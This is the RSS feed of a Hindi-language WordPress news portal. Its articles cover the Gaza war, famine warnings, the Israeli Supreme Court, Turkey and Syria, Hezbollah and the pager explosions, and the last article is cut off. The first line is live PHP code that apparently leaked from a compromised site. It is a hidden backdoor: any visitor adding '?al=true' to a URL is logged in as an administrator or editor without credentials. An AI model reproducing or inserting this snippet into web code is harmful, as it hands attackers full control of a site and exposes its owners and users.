// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Israeli – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 08 Sep 2025 09:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 गाजा में अकाल का साया, यूएन और इजरायली सुप्रीम कोर्ट ने जताई चिंता https://pratyushaashakinayikiran.com/?p=183889 Mon, 08 Sep 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=183889 गाजा 

गाजा में इजरायली हमलों में अब तक 64 हजार लोगों की जान गई है। वहीं भुखमरी से मरने वालों को कोई आंकड़ा ही सामने नहीं आया है। अंतरराष्ट्रीय संगठन गाजा में अकाल को लेकर बेहद चिंतित हैं। यूएन की एजेंसी का भी कहना है कि अगर इजरायल चाहे तो गाजा अकाल से बच सकता है। ग्लोबल हंगर मॉनीटर के मुताबिक हजारों फिलिस्तीनी अब भी भुखमरी का शिकार हैं। वहीं गाजा सिटी में इजरायली हमला तेज होने के बाद यहां स्थिति काफी खराब हो गई है।

इजरायल ने मार्च से मई तक 11 महीने के लिए गाजा में मानवीय सहायता पर भी रोक लगा दी थी। वहीं अब इजरायल का दावा है कि वह आम लोगों तक राशन पहुंचा रहा है। वहीं यूएन की एजेंसी के मुताबिक यह सहायता पर्याप्त नहीं है। यूएन ऐड के चीफ टॉम फ्लेचर ने कहा कि समय तेजी से गुजर रहा है। अगर गाजा को अकाल से बचाना है तो इसके लिए बहुत कम समय बचा है।

इजरायल की रक्षा एजेंसी COGAT कहना है कि पिछले सप्ताह गाजा में 1900 ट्रंक भेजे गए हैं। धीरे-धीरे सप्लाई बढ़ाई जा रही है। एजेंसी ने कहा, यह सहायता केवल आम लोगों के लिए है ना कि हमास के लिए। इजरायल का कहना है कि गाजा सिटी की बहुमंजिला इमारतों पर हमास का कब्जा है इसलिए आम लोग इसे खाली कर दें। बीते दिनों इजरायल ने गाजा सिटी की कई हाई राइज को निशाना बनाया है। इन हमलों में कम से कम 14 लोग मारे गए।

गाजा के लोगों का कहना है कि गाजा सिटी राफाह बन जाए, इससे पहले हमास को इजरायल के साथ बात करके युद्ध खत्म करना चाहिए। इजरायल में भी आम जनता गाजा के इस युद्ध का समर्थन नहीं करती है। शनिवार को भी हजारों लोगों ने युद्ध खत्म करने की मांग को लेकर प्रदर्शन किया। माना जा रहा है कि गाजा में अब भी 48 इजरायली बंधक जिंदा हैं।
इजरायली सुप्रीम कोर्ट ने भी सरकार को लताड़ा

इजराइल के सुप्रीम कोर्ट ने रविवार को कहा कि सरकार फलस्तीनी कैदियों को पर्याप्त मात्रा में भोजन उपलब्ध नहीं करा रही। कोर्ट ने अधिकारियों को निर्देश दिया कि वे कैदियों को पर्याप्त भोजन मुहैया कराएं। यह लगभग ढाई साल में ऐसा दुर्लभ मामला है, जिसमें उच्चतम न्यायालय ने सरकार के खिलाफ कोई फैसला सुनाया है। युद्ध शुरू होने के बाद से इजराइल ने गाजा में हमास से जुड़े होने के संदेह में हजारों लोगों को कैद किया है। हजारों लोगों को महीनों हिरासत में रखने के बाद छोड़ा भी गया है।

अधिकार समूहों ने जेलों और हिरासत केंद्रों में कैदियों के साथ बड़े पैमाने पर दुर्व्यवहार होने की जानकारी दी है, जिनमें पर्याप्त मात्रा में भोजन व स्वास्थ्य सेवाएं उपलब्ध न कराना और अस्वच्छता जैसी समस्याएं शामिल हैं। मार्च में इजराइली जेल में 17 वर्षीय फलस्तीनी लड़के की मौत हो गई थी, जिसके बाद चिकित्सकों ने कहा था कि मौत का मुख्य कारण भूख हो सकती है।

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इजरायल ने सीरिया में तोड़ा तुर्की के राष्ट्रपति का ख्वाब, यहूदी देश को बताया सबसे बड़ा खतरा https://pratyushaashakinayikiran.com/?p=145994 Fri, 04 Apr 2025 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=145994 अंकारा
 तुर्की को इस्लामिक खिलाफत का उत्तराधिकारी समझने वाले राष्ट्रपति रेचेप तैयप एर्दोगन अब यहूदी देश इजरायल पर हमलावर हैं। उन्होंने इजरायल को क्षेत्र के लिए सबसे बड़ा खतरा बताया है। तुर्की ने कहा कि इजरायल को सीरिया से हट जाना चाहिए और वहां स्थिरीकरण के प्रयासों को नुकसान पहुंचाना बंद करना चाहिए। तुर्की के विदेश मंत्रालय ने कहा, इजरायल क्षेत्रीय सुरक्षा के लिए सबसे बड़ा खतरा बन गया है। यह रणनीतिक अस्थिरता पैदा करने वाला, अराजकता पैदा करने वाला और आतंकवाद को बढ़ावा देने वाला है।

तुर्की का बयान ऐसे समय में आया है, जब इजरायल ने सीरिया में अपने हमले तेज कर दिए हैं। इजरायली अधिकारियों ने तुर्की को सीरिया से दूर रहने को कहा है। इजरायल ने तुर्की पर सीरिया को अंकारा संरक्षित क्षेत्र में बदलने की कोशिश का आरोप लगाया है। इजरायली वायु सेना ने  सीरिया में हवाई ठिकानों पर हमले किए थे, जिन्हें मध्य सीरिया का हवाई क्षेत्र भी शामिल है। तुर्की की नजर इस हवाई अड्डे पर थी।

इजरायली हमलों ने बढ़ाई तुर्की की मुश्किल

इजरायली हमलों से अंकारा के लिए सैनिकों, हवाई सुरक्षा और अन्य उपकरणों को सीरिया में पहुंचाना और सामान्य रूप से सुविधाओं को संचालित करना कठिन हो जाएगा। रिपोर्ट बताती हैं कि सीरिया के टी4 हवाई क्षेत्र में सेट अप स्थापित कर रहा है। यह इजरायली हवाई संचालन के लिए मुश्किल खड़ी कर सकता है।

आईडीएफ ने टेलीग्राम पर बताया कि पिछले कुछ घंटों में इसने सीरियाई ठिकानों हमा और टी4 पर बची हुई सैन्य क्षमता के साथ ही दमिश्क में सैन्य संरचना स्थलों पर हमला किया। आईडीएफ इजरायली नागरिकों के लिए किसी भी खतरे को दूर करने का काम जारी रखेगा।

एस-400 की तैनाती की योजना

यरुशलम पोस्ट की रिपोर्ट के अनुसार, तुर्की का इरादा T4 बेस को ड्रोन सुविधा में बदलने का है। मिडिल ईस्ट आई की रिपोर्ट के अनुसार, सीरिया में पुनर्निर्माण प्रयासों के दौरान 'हवाई क्षेत्र को सुरक्षित के लिए टी4 या पाल्मेरा में एस-400 वायु रक्षा प्रणालियों की अस्थायी तैनाती पर विचार हो रहा है।' हालांकि, इस पर अंतिम फैसला नहीं लिया गया है और तुर्की को इसके लिए रूस से मंजूरी लेनी होगी।

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इजरायल गाजा पट्टी पर कब्जा करेगा! फिलिस्तीनियों को घर खाली करने का आदेश, IDF ने उतारे टैंक https://pratyushaashakinayikiran.com/?p=145479 Wed, 02 Apr 2025 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=145479 तेल अवीव
इजरायल के रक्षा मंत्री इजराइल कैट्ज ने बुधवार को गाजा में सैन्य अभियान के बड़े विस्तार की घोषणा की। इस अभियान के दौरान गाजा के एक बड़े हिस्से पर कब्जा करने की योजना है, ताकि उन्हें इजरायल के सुरक्षा क्षेत्रों में शामिल किया जा सके। बयान में, कैट्ज ने कहा कि अभियान में “युद्ध क्षेत्रों से गाजा की आबादी को बड़े पैमाने पर निकालना” भी शामिल होगा। हालांकि उन्होंने ज्यादा जानकारी साझा नहीं की। बयान के अनुसार, सैन्य अभियान का विस्तार “आतंकवादियों और आतंकी ढांचे के क्षेत्र को कुचलने और साफ करने के लिए किया जाएगा, जबकि बड़े क्षेत्रों पर कब्जा किया जा सके।”
दक्षिणी राफा से लोगों को बाहर निकलने को कहा

मंगलवार देर रात अरबी मीडिया के लिए इजरायली सेना के प्रवक्ता ने गाजा के दक्षिणी राफा क्षेत्र के निवासियों को अपने घर छोड़ने और उत्तर की ओर जाने का आदेश दिया। सीएनएन ने पिछले महीने ही बताया था कि इजरायल गाजा में एक बड़े जमीनी हमले की योजना बना रहा है, जिसमें एन्क्लेव के एक बड़े हिस्से को साफ करने और उस पर कब्जा करने के लिए हजारों सैनिकों को युद्ध में भेजना शामिल होगा।

गाजा पर जारी है इजरायली बमबारी

बुधवार को कैट्ज के बयान में यह स्पष्ट नहीं किया गया कि गाजा पट्टी के इस विस्तारित अभियान में अतिरिक्त इजरायली सैनिक शामिल होंगे या नहीं। यह घोषणा ऐसे समय में की गई है जब इजरायल ने गाजा पट्टी पर हवाई बमबारी जारी रखी है। नासेर अस्पताल और खान यूनिस में यूरोपीय अस्पताल के अधिकारियों के अनुसार, दक्षिणी गाजा में रात भर इजरायली हमलों में कम से कम 17 लोग मारे गए, जबकि दर्जनों घायल हुए हैं।

अस्पतालों में आ रहे लोगों के शव

नासेर अस्पताल के अनुसार, मारे गए लोगों में कम से कम 13 लोग – जिनमें महिलाएं और बच्चे शामिल हैं। मरने वाले लोग राफा क्षेत्र से विस्थापित होने के बाद एक आवासीय घर में शरण लिए हुए थे। अल अवदा अस्पताल के अनुसार, दो लोग मध्य गाजा में एक अलग हमले में मारे गए। इजरायल ने दो सप्ताह पहले गाजा पर अपना आक्रमण फिर से शुरू किया, जिससे हमास के साथ दो महीने पुराना युद्धविराम टूट गया। इजरायल ने पहले से ही गाजा में मानवीय सहायता की पूरी नाकाबंदी कर दी थी।

गाजा में लंबे समय तक बने रहेंगे इजरायली सैनिक

इजरायल ने चेतावनी दी कि उसके सैनिक गाजा के कुछ हिस्सों में तब तक स्थायी रूप से मौजूद रहेंगे जब तक कि शेष 24 बंधकों की रिहाई नहीं हो जाती, जिनके बारे में माना जाता है कि वे अभी भी जीवित हैं। तब से एन्क्लेव में सैकड़ों फिलिस्तीनी मारे जा चुके हैं। इस बीच संयुक्त राष्ट्र ने चेतावनी दी है कि गाजा पट्टी में खाद्य आपूर्ति समाप्त हो रही है।

इजरायली सेना के नए चीफ ने की आक्रामक तैयारी

इजरायली सेना के नये चीफ ऑफ स्टाफ लेफ्टिनेंट जनरल इयाल जमीर के नेतृत्व में इजराइली सेना पिछले कई सप्ताह से गाजा में बड़े पैमाने पर अभियान की योजना बना रही है। इस तरह के निर्णय से इजराइली सेना इस क्षेत्र पर कब्जा कर सकती है और वर्षों तक विद्रोहियों से लड़ सकती है। लेकिन गाजा में लंबे समय तक आक्रमण करने से इजराइली जनता का कड़ा प्रतिरोध भी हो सकता है, जिनमें से अधिकांश लोग युद्ध की वापसी के बजाय बंधकों की रिहाई के लिए समझौते की मांग कर रहे हैं।

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हिजबुल्ला ने इस्राइली नागरिकों को दी चेतावनी, रिहायशी इलाकों में फौजी ठिकानों से दूर रहें https://pratyushaashakinayikiran.com/?p=83693 Sun, 13 Oct 2024 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=83693 बेरूत
 लेबनान के उग्रवादी संगठन हिजबुल्ला ने इस्राइली नागरिकों को चेतावनी जारी की है। हिजुबल्ला ने इस्राइली नागरिकों से इस्राइली सेना के ठिकानों से दूर रहने की सलाह दी है। हिजबुल्ला ने आरोप लगाया है कि इस्राइली सेना उत्तरी सीमा पर रिहायशी इलाकों में अपने बेस बनाकर तैनात है। ऐसे में हिजबुल्ला ने इस्राइली नागरिकों को रिहायशी इलाकों में कथित तौर पर मौजूद फौजी ठिकानों से दूर रहने को कहा है ताकि वे सुरक्षित रहें। हिजबुल्ला ने अरबी और हिब्रू भाषा में जारी किए बयान में कहा कि 'इस्राइली सेना घरों का इस्तेमाल कर रही है और उन्होंने हाइफा, टिबरिस और एक्रे जैसे बड़े शहरों के रिहायशी इलाकों में मिलिट्री बेस बनाए हुए हैं।' हिजबुल्ला द्वारा इस्राइल पर मिसाइलों और रॉकेट से हमले किए जा रहे हैं।

इस्राइल ने भी जारी की लेबनान के लोगों के लिए चेतावनी
वहीं इस्राइली सेना ने भी लेबनान के लोगों को चेतावनी जारी की है। इस्राइली सेना ने दक्षिणी लेबनान में हिजबुल्ला के ठिकानों पर हमला जारी रखते हुए लेबनानी नागरिकों को दक्षिणी क्षेत्र में अपने घरों की तरफ न लौटने की चेतावनी दी। गौरतलब है कि इस्राइली सेना द्वारा लगातार बेरूत और उसके आसपास के इलाकों में हिजबुल्ला के ठिकानों पर हमले किए जा रहे हैं। इस्राइली हमलों में अब तक लेबनान में 1200 लोगों की मौत हो चुकी है और लाखों लोग अपने घरों को छोड़कर विस्थापित जीवन जी रहे हैं।

इस्राइली हमले में हिजबुल्ला के दो कमांडर्स ढेर
इससे पहले शुक्रवार को इस्राइल ने हिजबुल्ला के ठिकानों पर हमला कर उसके दो कमांडर्स को ढेर कर दिया। जिन कमांडर्स को इस्राइल ने मारा, उनकी पहचान अहमद मुस्तफा और मोहम्मद अली हमदान के रूप में हुई है। हमदान हिजबुल्ला के एंटी टैंक का कमांडर था। इस्राइल ने लेबनान में अपने मिसाइल हमलों में बेरूत के दाहिया में हिजबुल्ला के कई हथियार डिपो भी तबाह कर दिए हैं। इस बीच नेतन्याहू ने लेबनान को चेतावनी देते हुए कहा है कि हिजबुल्ला को रोकें वरना गाजा जैसा हाल करेंगे।

 

 

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क्या मोसाद की खुलने वाली थी पोल, हिज्‍बुल्‍लाह को लग गई थी भनक, इजरायल को अचानक चलाना पड़ा सीक्रेट ब्रह्मास्‍त्र! https://pratyushaashakinayikiran.com/?p=72171 Wed, 18 Sep 2024 19:06:00 +0000 https://pratyushaashakinayikiran.com/?p=72171 तेलअवीव
 गाजा युद्ध के बाद अब इजरायल ने लेबनान के हिज्‍बुल्‍लाह पर जोरदार हमले की तैयारी तेज कर दी है। इजरायल की कोशिश है कि लेबनान के एक हिस्‍से को काटकर उसे बफर जोन बनाया जाय। इजरायल ने बड़े पैमाने पर अपनी सेना को लेबनान सीमा पर तैनात कर दिया है। माना जा रहा था कि इजरायल की सेना कभी भी हिज्‍बुल्‍लाह के ठिकानों पर धावा बोल सकती है। इजरायल को यह आभास था कि यह युद्ध भीषण हो सकता है और इसी वजह से उसने हिज्‍बुल्‍लाह लड़ाकुओं के इस्‍तेमाल किए जा रहे पेजर में बम फिट कर दिया था। दरअसल, हिज्‍बुल्‍लाह को डर था कि इजरायल मोबाइल फोन को हैक कर सकता है और इसी वजह से उसने पेजर पर जाने का फैसला किया था। हिज्‍बुल्‍लाह ने हजारों की तादाद में नए पेजर का ऑर्डर दिया जिसके अंदर माना जा रहा है कि मोसाद ने बम लगा दिया। इन पेजर में ब्‍लास्‍ट में अब तक 10 से ज्‍यादा हिज्‍बुल्‍लाह लड़ाके मारे गए हैं और 3000 लोग घायल हुए हैं। अब खुलासा हुआ है कि इजरायल को अचानक से यह धमाका मजबूरी में करना पड़ा है।

मिडिल ईस्‍ट पर नजर रखने वाली वेबसाइट अल मॉनिटर की रिपोर्ट के मुताबिक हिज्‍बुल्‍ला को इन पेजर पर शक हो गया था और मोसाद की पोल खुलने वाली थी। दरअसल, एक पेजर में विस्‍फोट हो गया जिससे हिज्‍बुल्‍लाह के एक सदस्‍य की मौत हो गई। इसके बाद एक अन्‍य हिज्‍बुल्‍लाह लड़ाके को संदेह हो गया कि इन पेजर में बम छिपा हुआ है। इसकी जानकारी इजरायली एजेंटों को लग गई। इसके बाद इजरायल में बहस शुरू हो गई। इजरायल का पहले मूल रूप से प्‍लान यह था कि इन पेजर में विस्‍फोट तब किया जाए जब हिज्‍बुल्‍लाह के साथ युद्ध अपने चरम पर पहुंच जाए।

पेजर बम पर फंस गया था इजरायल

रिपोर्ट के मुताबिक हिज्‍बुल्‍लाह के शक का अहसास जब इजरायल को हुआ तो सुरक्षा एजेंसियों के बीच व्‍यापक बहस शुरू हो गई। एक पक्ष का कहना था कि हमें अभी नहीं आगे बढ़ना चाहिए और दूसरे का मानना था कि पेजर में ब्‍लास्‍ट कर देना चाहिए। आखिरकार इजरायल ने पेजर में ब्‍लास्‍ट करने का फैसला किया। इस हमले में करीब 3 हजार लोग घायल हो गए हैं और 500 लोगों की आंख चली गई है। इसके अलावा करीब 10 लोगों की मौत हो गई है। ईरान के लेबनान में राजदूत की एक आंख भी इस हमले में चली गई है। दूसरी को भी काफी नुकसान पहुंचा है। सीएनएन की रिपोर्ट के मुताबिक इस दुस्‍साहस से भरे अभियान को मोसाद और इजरायली सेना ने मिलकर अंजाम दिया।

एक अमेरिकी अधिकारी ने बताया कि यह इजरायल के लिए या तो इस्‍तेमाल करो या फिर से भूल जाओ वाला मौका था। हिज्‍बुल्‍लाह ने इन पेजर को सेवा से हटा सकता था। इन हमलों से ठीक पहले इजरायल के रक्षा मंत्री ने इसकी जानकारी अमेरिका को दी लेकिन उन्‍होंने पूरी जानकारी नहीं दी। ईरानी सेना के एक अधिकारी ने बताया कि पेजर में विस्‍फोट से पहले उसमें बीप का 10 सेकंड तक मैसेज आया था। इससे कई लोगों ने इसे अपने हाथ में लिया और आंख के पास ले गए ताकि उसे पढ़ सकें। इसके बाद पेजर के अंदर विस्‍फोट हो गया।

मोसाद ने हर पेजर के अंदर लगा दिया था बम

रिपोर्ट के मुताबिक सीएनएन ने इन पेजर का आयात यूरोप से एक ताइवानी कंपनी से किया था। मोसाद और इजरायली सेना के जासूसों ने इन प्रत्‍येक पेजर के अंदर बैटरी के पास विस्‍फोटक फिट कर दिया। इसके बाद इसे दूर से ही स्विच की मदद से मंगलवार को उड़ा दिया गया। बताया जा रहा है कि 170 लोगों की हालत गंभीर है जिससे मरने वालों का आंकड़ा बढ़ सकता है। हिज्‍बुल्‍लाह और लेबनान की सरकार ने इन हमलों के लिए इजरायल को जिम्‍मेदार ठहराया है, वहीं इजरायल ने अभी तक कोई बयान नहीं दिया है।

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ईरान ने इस्लामिक देशों से इजरायल के साथ सहयोग बंद करने का आग्रह किया https://pratyushaashakinayikiran.com/?p=39712 Mon, 10 Jun 2024 10:56:00 +0000 https://pratyushaashakinayikiran.com/?p=39712 ईरान ने इस्लामिक देशों से इजरायल के साथ सहयोग बंद करने का आग्रह किया

लेबनान में इजरायली हवाई हमले में चार लोगों की मौत

क़तर, मिस्र ने युद्धविराम समझौता नहीं होने पर हमास को परिणाम भुगतने की धमकी दी

तेहरान/बेरूत/ दोहा
 ईरान के कार्यवाहक विदेश मंत्री अली बघेरी ने कहा कि इस्लामिक देशों को इजरायल के साथ राजनीतिक एवं आर्थिक सहयोग बंद कर देना चाहिए और आयात का बहिष्कार करना चाहिए।

 बघेरी ने सीएनएन तुर्क ब्रॉडकास्टर के साथ एक साक्षात्कार में कहा, "हमारी राय में इस्लामी देशों द्वारा की जाने वाली सबसे प्रभावी पहल इजरायली शासन के साथ राजनीतिक और आर्थिक सहयोग बंद करना और इसके साथ सभी आयात और निर्यात का बहिष्कार करना होगा।"

 

लेबनान में इजरायली हवाई हमले में चार लोगों की मौत

बेरूत
 दक्षिणी लेबनान के गांवों पर  इजरायली हवाई हमलों में हिजबुल्लाह के दो सदस्यों सहित चार लोग मारे गए और पांच अन्य घायल हो गए। लेबनान के सैन्य सूत्रों यह जानकारी दी है।सूत्रों ने कहा कि एक इजरायली युद्धक विमान ने हौला गांव में एक घर को निशाना बनाया, जिसमें हिजबुल्लाह के दो सदस्य मारे गए और तीन नागरिक घायल हो गए।

सूत्रों ने बताया कि एक अन्य इजरायली हवाई हमले में हवा से सतह पर मार करने वाली दो मिसाइलों के साथ एतारौन गांव के एक वाणिज्यिक बाजार को निशाना बनाया गया जिसमें दो नागरिकों की मौत हो गई और दो अन्य घायल हो गए। मारे गए नागरिकों की पहचान कॉफी शॉप के मालिक अली खलील हमद और मुस्तफा इस्सा नाम के एक युवक के रूप में की गई।

इस बीच हिजबुल्लाह ने कहा कि उसने  इजरायल के हमले का जवाब कब्जे वाले शेबा फार्म और मलिकियाह, अल-समाका, ज़ारिट और अल-राहेब सहित कई इजरायली स्थानों पर कई हमलों के साथ दिया।

हिजबुल्लाह और इजरायली सेना के बीच तनाव तब बढ़ गया जब इजरायल ने उसके खिलाफ एक बड़े हमले के लिए अपनी सेना तैनाती करने की घोषणा की। यह घोषणा बुधवार को कब्जे वाले सीरियाई गोलान हाइट्स में अल-कोश बस्ती के दक्षिण में एक इजरायली सभा पर हिजबुल्लाह द्वारा ड्रोन हमले के बाद की गई।

उल्लेखनीय है कि हमास के साथ एकजुटता दिखाने के लिए हिजबुल्लाह द्वारा इजरायल की ओर लॉन्च किए गए रॉकेटों की बौछार के बाद आठ अक्टूबर 2023 से लेबनान-इजरायल सीमा पर दोनों पक्षों के बीच टकराव बढ़ गया।
इसके बाद इजरायल ने जवाबी कार्रवाई करते हुए दक्षिणपूर्वी लेबनान की ओर भारी तोपखाने से गोलीबारी शुरू कर दी।

क़तर, मिस्र ने युद्धविराम समझौता नहीं होने पर हमास को परिणाम भुगतने की धमकी दी

दोहा

कतर और मिस्र ने अमेरिकी प्रशासन के निर्देश पर फिलिस्तीनी आंदोलन हमास के नेताओं को धमकी दी है कि यदि वे इजरायल के साथ युद्धविराम के लिए सहमत नहीं हुए तो उन्हें गिरफ्तार किया जा सकता है, संपत्ति जब्त की जा सकती है, प्रतिबंध लगाए जा सकते हैं और दोहा में उनकी शरणस्थली से निष्कासन किया जा सकता है। वॉल स्ट्रीट जर्नल ने सूत्रों का हवाला देते हुए यह जानकारी दी है।

हालाँकि रिपोर्ट में कहा गया है कि इन प्रयासों के विपरीत परिणाम सामने आए है और हमास ने कहा है कि वह ऐसे सौदे पर सहमत नहीं होगा जो उसकी शर्तों को पूरा नहीं करते है।

अमेरिका के राष्ट्रपति जो बाइडेन ने पिछले हफ्ते कहा था कि इज़रायल ने हमास को एक रोड मैप के साथ एक नया तीन-चरण का प्रस्ताव दिया, जिससे गाजा पट्टी में शत्रुता की स्थायी समाप्ति होगी और सभी बंधकों की रिहाई होगी।
प्रस्ताव के पहले चरण में पूर्ण युद्धविराम, सभी गाजा आबादी केंद्रों से इजरायली सैनिकों की वापसी और हमास द्वारा बंधक बनाए गए कुछ लोगों की रिहाई, जिनमें घायल, बुजुर्ग और महिलाएं शामिल हैं के साथ-साथ जेलों से हिरासत में लिए गए फिलिस्तीनियों की रिहाई शामिल है। दूसरे चरण में शेष बंधकों की रिहाई के बदले में शत्रुता की अनिश्चितकालीन समाप्ति शामिल है। पहल का तीसरा चरण युद्धग्रस्त गाजा का पुनर्निर्माण शुरू करना है।

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‘गाजा युद्ध तब तक खत्म नहीं होगा, जब तक….’, शांति रोडमैप पेश करने के बाद नेतन्याहू का बड़ा बयान https://pratyushaashakinayikiran.com/?p=36904 Sun, 02 Jun 2024 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=36904 यरुशलम/गाजा

 दुनिया के कई देश युद्ध में घिरे हुए हैं। जहां रूस-यूक्रेन जंग को दो साल से ज्यादा का वक्त हो चुका है। इधर, हमास और इस्राइल बीते सात महीने से लड़ाई लड़ रहे हैं। अब तक 30 हजार से ज्यादा लोगों की मौत हो चुकी है। इस बीच, एक बार फिर इस्राइली प्रधानमंत्री बेंजामिन नेतन्याहू ने कहा कि गाजा युद्ध तब तक खत्म नहीं होगा जब तक कि हमास की शासन करने और युद्ध करने की क्षमता का खात्मा नहीं हो जाता। बता दें, इससे पहले अमेरिकी राष्ट्रपति जो बाइडन ने बताया था कि इस्राइल ने एक नया शांति रोडमैप पेश किया है।

हमारे सभी बंधकों की वापसी लक्ष्य
नेतन्याहू के कार्यालय का कहना है, 'पीएम नेतन्याहू ने वार्ता दल से बंधकों की वापसी के लिए एक रूपरेखा पेश करने का निर्देश दिया है। साथ ही इस बात पर जोर दिया कि युद्ध तब तक समाप्त नहीं होगा जब तक सभी लक्ष्य प्राप्त नहीं कर लिए जाते, जिसमें हमारे सभी बंधकों की वापसी और हमास की सैन्य और सरकारी क्षमताओं का उन्मूलन शामिल है।' उनका यह भी कहना है कि इस्राइल द्वारा पेश रूपरेखा इस्राइल को इन सिद्धांतों को बनाए रखने की अनुमति देता है।'

युद्ध के खत्म होने का समय
आठ महीने से चल रहे संघर्ष के समाधान की रूपरेखा प्रस्तुत करते हुए बाइडन ने कहा कि प्रस्ताव छह सप्ताह के चरण से शुरू हुआ है, जिसमें इस्राइली सेना गाजा के सभी आबादी वाले क्षेत्रों से हट जाएगी। उन्होंने कहा कि इस युद्ध के खत्म होने का समय आ गया है। उन्होंने आगे कहा कि शांति के मौके का फायदा उठाने के लिए हम इस पल को गंवा नहीं सकते।

अबतक इतने लोग मारे गए
युद्ध शुरू होने के बाद से फलस्तीन के 35,984 लोग मारे गए हैं और 80,643 अन्य घायल हुए हैं। फलस्तीनी स्वास्थ्य मंत्रालय ने दावा किया कि आईडीएफ ने गाजा पट्टी में आठ नरसंहार किए। इसमें आगे कहा गया है कि कई पीड़ित अभी भी मलबे के नीचे दबे हैं या सड़कों पर हैं। इसलिए एंबुलेंस और नागरिक सुरक्षा दल उन तक नहीं पहुंच सकते। उधर, रॉयटर्स ने जानकारी दी कि राफा में इस्राइली हमलों में कम से कम 20 फलस्तीनी नागरिकों की मौत हो गई। एसोसिएटेड प्रेस के मुताबिक, फलस्तीनी स्वास्थ्य मंत्रालय का कहना है कि राफा पर इस्राइल के हवाई हमले में 22 लोग मारे गए हैं, जो शिविरों में रह रहे थे। सीएनएन के मुताबिक, मृतकों का यह आंकड़ा बढ़कर 35 हो गया है।

 

इजरायली सेना की वापसी के बाद गाजा के जबालिया शिविर में मिले 70 फिलिस्तीनियों के शव

 उत्तरी गाजा के जबालिया शरणार्थी शिविर में कम से कम 70 फिलिस्तीनियों की मौत हो गई। यहां से हाल ही में इजरायल ने अपनी सशस्त्र सेनाओं को वापस बुला लिया था।

स्थानीय चिकित्सा सूत्रों ने समाचार एजेंसी शिन्हुआ को बताया कि एम्बुलेंस और नागरिक सुरक्षा दल ने शिविर से लगभग 70 शवों को निकाला। इनमें 20 बच्चे शामिल हैं। लापता लोगों की तलाश जारी है।

सूत्रों ने कहा कि ऑपरेशन के दौरान इजरायली हवाई हमलों और गोलाबारी के चलते दर्जनों लोग घरों, आश्रयों और अस्पतालों के मलबे के नीचे लापता बताए गए हैं। जैसे ही इजरायली सेना वापस लौटी, सैकड़ों निवासी अपने घरों का हाल जानने के लिए लौटे।

उनमें से कुछ ने शिन्हुआ को बताया कि हमलों के चलते शिविर और उसके आसपास के सैकड़ों घरों के साथ-साथ सड़कों, जल आपूर्ति प्रणालियों और सीवेज जैसे बुनियादी ढांचे को भारी नुकसान पहुंचा है। उन्होंने इजरायली सैनिकों पर अपार्टमेंट और आवासीय इमारतों में आग लगाने का आरोप लगाया।

इजरायल डिफेंस फोर्सेज (आईडीएफ) ने शुक्रवार को एक बयान में कहा कि 98वें डिवीजन के इजरायली सैनिक पूर्वी जबालिया में अपना मिशन पूरा करने के बाद वापस आ गए हैं। वे सात बंधकों के शवों को अपने साथ लेकर आए हैं। सैकड़ों आतंकवादियों को मार गिराने तथा 10 किलोमीटर के भूमिगत सुरंग नेटवर्क को नष्ट करने के बाद उन्होंने गाजा पट्टी में आगे की कार्रवाई के लिए तैयारी शुरू कर दी।

फिलिस्तीन शरणार्थियों के लिए संयुक्त राष्ट्र राहत और कार्य एजेंसी ने शुक्रवार को कहा कि उन्हें जबालिया स्थित एजेंसी के केंद्रों से चौंकाने वाली रिपोर्ट मिली, जहां एजेंसी द्वारा संचालित स्कूल में शरण लेने वाले विस्थापित लोगों के मारे जाने और घायल होने की खबर है। इनमें बच्चे भी शामिल हैं। उन्होंने सोशल मीडिया प्लेटफॉर्म एक्स पर कहा कि आईडीएफ ने जबालिया में एक आश्रय शिविर को घेर लिया और वहां शरण लिए हुए लोगों के तंबू में आग लगा दी।

हमास ने 7 अक्टूबर 2023 को इजरायल पर अचानक हमला कर दिया था जिसमें 1,200 लोग मारे गए और 200 से अधिक बंधक बनाए गए। इसके बाद इजरायल ने गाजा में हमास के खिलाफ बड़े पैमाने पर हमले किए हैं जो अब भी जारी हैं।

 

 

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हमास ने गाजा में इस्राइली सैनिक पकड़ने का किया दावा, इस्राइली रक्षा बल ने ऐसी किसी घटना से किया इंकार https://pratyushaashakinayikiran.com/?p=34532 Sun, 26 May 2024 16:35:00 +0000 https://pratyushaashakinayikiran.com/?p=34532 गाजा/येरुसलेम.

हमास के सशस्त्र विंग के प्रवक्ता ने दावा किया कि उनके लड़ाकों ने शनिवार को उत्तरी गाजा के जबालिया में लड़ाई के दौरान इस्राइली सैनिकों को पकड़ लिया था। हालांकि, इस्राइल ने इन दावों को खारिज कर दिया। हमास के सशस्त्र विंग के प्रवक्ता ने यह नहीं बताया कि उन्होंने कितने इस्राइली सैनिकों को पकड़ा। इसके साथ ही उन्होंने अपने दावे का कोई सबूत भी नहीं दिया।

अल कसम ब्रिगेड्स के प्रवक्ता अबु उबैदा ने कहा, "हमारे लड़ाकों ने इस्राइली सेना को लालच देकर एक सुरंग के अंदर हमला करवाया। बल के सभी सदस्य को मारने, घायल करने और बंधक बनाने के बाद लड़ाके चले गए।" रविवार को इस्राइली सेना ने हमास सशस्त्र विंग के इन दावों को खारिज कर दिया। सेना ने एक बयान में कहा, "इस्राइली रक्षा बल (आईडीएफ) ने यह स्पष्ट किया है कि ऐसी कोई भी घटना नहीं घटी, जिसमें सैनिकों को बंधक बनाया गया हो।"

हमास ने वीडियो जारी कर दिया सबूत
